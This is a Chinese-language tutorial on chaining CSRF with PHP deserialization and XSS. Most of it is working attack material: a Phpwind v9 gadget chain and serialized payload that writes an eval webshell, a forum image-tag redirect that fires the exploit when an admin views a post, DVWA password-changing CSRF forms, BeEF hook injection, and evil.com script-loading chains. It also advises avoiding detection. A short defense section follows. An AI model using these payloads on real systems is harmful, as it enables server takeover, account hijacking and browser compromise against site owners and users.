CSRF高级攻击技术
CSRF与反序列化结合
原理概述
将CSRF和反序列化漏洞结合,可以使只能在后台触发的序列化漏洞变为前台getshell,大大降低漏洞利用条件。这种技术的核心思想是:利用CSRF的自动执行特性,触发后台的反序列化漏洞。
核心知识点
回调函数
1
| mixed call_user_func_array ( callable $callback , array $param_arr )
|
把第一个参数作为回调函数调用,把参数数组作为回调函数的参数传入。
1 2 3 4 5 6 7
| <?php function test($a, $b) { echo $a + $b; }
call_user_func_array('test', [1, 2]); ?>
|
自动加载机制
PHP提供了三个函数用于类的自动加载:
- spl_autoload(): 提供__autoload()的默认实现
- spl_autoload_register(): 注册给定的函数作为__autoload的实现
- __autoload(): 尝试加载未定义的类
1 2 3 4 5 6 7 8 9
| <?php
spl_autoload_register(function($className) { include $className . '.php'; });
$obj = new MyClass(); ?>
|
实战案例:Phpwind GET型CSRF任意代码执行
漏洞分析
Phpwind v9中存在一个后台反序列化漏洞,位于Task模块下。该漏洞利用了以下技术:
- 后台反序列化点: Task模块的beforeAction方法
- 魔术方法: PwDelayRun类的__destruct方法
- 自动加载: 利用spl_autoload包含任意PHP文件
- 命名空间: 利用Windows路径分隔符绕过限制
- StdClass: 代替数组绕过is_array检查
漏洞代码分析
1 2 3 4 5 6 7 8 9 10
| class TaskConditionMemberController extends AdminBaseController { public function beforeAction($handlerAdapter) { parent::beforeAction($handlerAdapter); $var = unserialize($this->getInput('var')); if (is_array($var)) { $this->setOutput($var, 'condition'); } } }
|
1 2 3 4 5 6 7 8 9 10 11 12
| class PwDelayRun { private static $instance = null; private $_callback = array(); private $_args = array(); public function __destruct() { foreach ($this->_callback as $key => $value) { call_user_func_array($value, $this->_args[$key]); } } }
|
利用步骤
步骤1: 找到反序列化点
反序列化位置在Task模块的beforeAction方法中,可以通过GET/POST/Cookie参数传入。
步骤2: 找到魔术方法
PwDelayRun类的__destruct方法会遍历_callback数组,使用call_user_func_array执行任意函数。
步骤3: 解决类未加载问题
反序列化时PwDelayRun类未加载,需要利用自动加载机制。
1 2 3 4 5 6 7 8 9
| public static function autoLoad($className, $path = '') { if ($path) include $path . '.' . self::$_extensions; elseif (isset(self::$_classes[$className])) { include self::$_classes[$className] . '.' . self::$_extensions; } else include $className . '.' . self::$_extensions; }
|
步骤4: 利用命名空间包含文件
在Windows下,\可以作为路径分隔符。构造类名为src\library\utility\PwDelayRun,最终会包含src\library\utility\PwDelayRun.php文件。
步骤5: 解决命名空间问题
Phpwind使用默认命名空间\,而PwDelayRun类在src\library\utility命名空间下。需要构造两个对象:
src\library\utility\PwDelayRun: 用于触发自动加载\PwDelayRun: 用于实际利用
步骤6: 绕过is_array检查
使用StdClass对象代替数组,绕过is_array($var)的检查。
Payload构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php namespace src\library\utility { class PwDelayRun { // 空类,用于触发自动加载 } }
namespace { class PwDelayRun { private $_callback; private $_args; function __construct() { $this->_callback = [ 'assert' ]; $this->_args = [ ["file_put_contents('./shell.php', '<?php @eval($_POST[a]);?>');phpinfo();exit;"] ]; } } header("Content-Type: text/plain"); $obj = new stdClass(); $obj->a = new src\library\utility\PwDelayRun(); $obj->b = new PwDelayRun(); echo urlencode(serialize($obj)); } ?>
|
利用方式
方式1: 直接访问后台URL
1
| http://127.0.0.1/phpwind/admin.php?m=task&c=TaskConditionMember&a=profile&var=O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A30%3A%22src%5Clibrary%5Cutility%5CPwDelayRun%22%3A0%3A%7B%7Ds%3A1%3A%22b%22%3BO%3A10%3A%22PwDelayRun%22%3A2%3A%7Bs%3A21%3A%22%00PwDelayRun%00_callback%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7Ds%3A17%3A%22%00PwDelayRun%00_args%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A71%3A%22file_put_contents%28%27.%2Fshell.php%27%2C+%27%3C%3Fphp+phpinfo%28%29%3B+%3F%3E%27%29%3Bphpinfo%28%29%3Bexit%3B%22%3B%7D%7D%7D%7D
|
方式2: 结合CSRF降低利用门槛
由于该漏洞是GET请求,可以利用CSRF在前台触发。
302跳转页面:
1 2 3 4
| <?php header("Content-Type: image/gif"); header("Location: http://127.0.0.1/phpwind/admin.php?m=task&c=TaskConditionMember&a=profile&var=PAYLOAD"); ?>
|
发帖内容:
1
| [img]http://vps_ip/302.php[/img]
|
当管理员查看该帖子时,会自动触发漏洞,写入webshell。
技术要点总结
- 自动加载利用: 利用spl_autoload机制包含任意PHP文件
- 命名空间技巧: 利用Windows路径分隔符绕过限制
- StdClass绕过: 使用对象代替数组绕过is_array检查
- CSRF结合: 将后台漏洞变为前台利用
XSS与CSRF组合攻击
原理概述
XSS和CSRF可以组合使用,形成更强大的攻击链。组合攻击的核心思想是:利用XSS注入恶意代码,恶意代码中包含CSRF攻击链接,从而在受害者不知情的情况下执行恶意操作。
存储型XSS + CSRF
攻击流程
- 攻击者在存在存储型XSS的地方插入恶意代码
- 恶意代码中包含CSRF攻击链接
- 受害者访问包含XSS的页面
- XSS代码自动执行,打开CSRF攻击链接
- CSRF攻击成功,执行恶意操作
POC构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <html> <body onload="javascript:fireForms()"> <script language="JavaScript"> var pauses = new Array( "42" ); function pausecomp(millis){ var date = new Date(); var curDate = null; do { curDate = new Date(); } while(curDate-date < millis);} function fireForms(){ var count = 1; var i=0; for(i=0; i<count; i++){ document.forms[i].submit(); pausecomp(pauses[i]);}} </script> <form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/csrf/?password_new=12345678&password_conf=12345678&Change=Change"> <input type="hidden" name="password_new" value="12345678"/> <input type="hidden" name="password_conf" value="12345678"/> <input type="hidden" name="Change" value="Change" /> </form> </body> </html>
|
1 2
| <script src="x" onerror=javascript:window.open("http://192.168.38.1/csrf.html")></script>
|
利用步骤
- 将CSRF POC保存为csrf.html
- 在存在存储型XSS的地方插入XSS POC
- 受害者访问包含XSS的页面
- XSS代码自动执行,打开CSRF攻击链接
- CSRF攻击成功,修改受害者密码
CSRF + SelfXSS
攻击流程
- 攻击者构造CSRF攻击链接
- CSRF攻击链接中包含SelfXSS代码
- 诱导受害者点击CSRF链接
- CSRF攻击成功,SelfXSS代码被执行
- SelfXSS代码连接攻击者的XSS平台
POC构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <html> <body onload="javascript:fireForms()"> <script language="JavaScript"> var pauses = new Array( "54" ); function pausecomp(millis){ var date = new Date(); var curDate = null; do { curDate = new Date(); } while(curDate-date < millis);} function fireForms(){ var count = 1; var i=0; for(i=0; i<count; i++){ document.forms[i].submit(); pausecomp(pauses[i]);}} </script> <form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/xss_r/?name=<script src='http://192.168.38.129:3000/hook.js'></script>"> <input type="hidden" name="name" value="<script src='http://192.168.38.129:3000/hook.js'></script>"/> </form> </body> </html>
|
利用步骤
- 使用Beef等XSS平台生成hook.js
- 将hook.js的URL插入到CSRF POC中
- 诱导受害者点击CSRF链接
- CSRF攻击成功,SelfXSS代码被执行
- 受害者浏览器连接到Beef平台
靶场环境搭建
环境配置
1 2 3
| 本机(Win): 192.168.38.1 DVWA(Win): 192.168.38.132 Beef(Kali): 192.168.38.129
|
Beef安装
1 2 3 4 5 6
| sudo apt update sudo apt install beef-xss
sudo beef
|
DVWA配置
1 2 3 4 5
| $_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'root'; $_DVWA[ 'db_password' ] = 'p@ssw0rd';
|
工具推荐
CSRFTester
CSRFTester是一个自动生成CSRF POC的工具。
1 2 3 4 5
| wget https://github.com/AonCyberLabs/CSRFTester/releases/download/v1.0/CSRFTester-1.0.jar
java -jar CSRFTester-1.0.jar
|
使用步骤:
- 配置浏览器代理到CSRFTester(默认8008端口)
- 开启CSRFTester的流量记录功能
- 在目标网站执行敏感操作
- 在CSRFTester中选择相关的流量
- 点击Generate HTML生成POC
Beef
Beef是一个强大的浏览器渗透测试框架。
1 2 3 4 5 6 7
| sudo beef
http://127.0.0.1:3000/ui/panel
|
Hook代码:
1
| <script src="http://beef_server:3000/hook.js"></script>
|
实战技巧
隐蔽性提升
CSRFTester生成的POC比Burp Suite生成的更隐蔽:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <html> <body onload="javascript:fireForms()"> <script language="JavaScript"> var pauses = new Array( "42" ); function pausecomp(millis){ var date = new Date(); var curDate = null; do { curDate = new Date(); } while(curDate-date < millis);} function fireForms(){ var count = 1; var i=0; for(i=0; i<count; i++){ document.forms[i].submit(); pausecomp(pauses[i]);}} </script> <form method="GET" name="form0" action="http://target.com/change_password"> <input type="hidden" name="password_new" value="123456"/> <input type="hidden" name="password_conf" value="123456"/> <input type="hidden" name="Change" value="Change" /> </form> </body> </html>
|
优点:
绕过长度限制
某些网站对输入长度有限制,可以使用以下方法绕过:
1 2 3 4 5 6 7 8
| <script src="http://evil.com/xss.js"></script>
<script src="x" onerror=window.location="http://evil.com/302.php"></script>
<script src="x" onerror=window.location="http://short.url/abc"></script>
|
组合攻击链
1 2 3 4 5 6 7 8 9 10 11 12
| <script> fetch('http://evil.com/csrf.html') .then(response => response.text()) .then(html => { document.body.innerHTML = html; document.forms[0].submit(); }); </script>
|
防御建议
防御CSRF与反序列化结合
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php
function sign_data($data) { $secret = 'your_secret_key'; return hash_hmac('sha256', $data, $secret); }
function verify_data($data, $signature) { $secret = 'your_secret_key'; $expected = hash_hmac('sha256', $data, $secret); return hash_equals($expected, $signature); }
?>
|
防御XSS与CSRF组合
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
function escape_output($data) { return htmlspecialchars($data, ENT_QUOTES, 'UTF-8'); }
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
header("X-XSS-Protection: 1; mode=block");
session_start(); function generate_csrf_token() { if (empty($_SESSION['csrf_token'])) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } return $_SESSION['csrf_token']; }
function verify_csrf_token($token) { return isset($_SESSION['csrf_token']) && hash_equals($_SESSION['csrf_token'], $token); } ?>
|
综合防御措施
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
session_set_cookie_params([ 'lifetime' => 3600, 'path' => '/', 'domain' => 'example.com', 'secure' => true, 'httponly' => true, 'samesite' => 'Strict' ]);
function verify_request_origin() { $allowed_domains = ['https://example.com']; $referer = $_SERVER['HTTP_REFERER'] ?? ''; $origin = $_SERVER['HTTP_ORIGIN'] ?? ''; $referer_domain = parse_url($referer, PHP_URL_SCHEME) . '://' . parse_url($referer, PHP_URL_HOST); return in_array($referer_domain, $allowed_domains) || in_array($origin, $allowed_domains); }
?>
|
总结
CSRF高级攻击技术主要包括:
- CSRF与反序列化结合: 将后台漏洞变为前台利用,大大降低利用门槛
- XSS与CSRF组合: 形成更强大的攻击链,提高攻击成功率
- 自动化工具: 使用CSRFTester、Beef等工具提高攻击效率
在实际攻击中,需要根据目标环境的特点选择合适的攻击方式。同时,要注意防御措施,避免被检测到。
防御CSRF高级攻击需要综合运用多种措施:
- 使用CSRF Token
- 设置SameSite Cookie
- 验证请求来源
- 限制反序列化使用
- 防御XSS漏洞
- 使用安全框架
只有综合运用多种防御措施,才能有效防范CSRF高级攻击。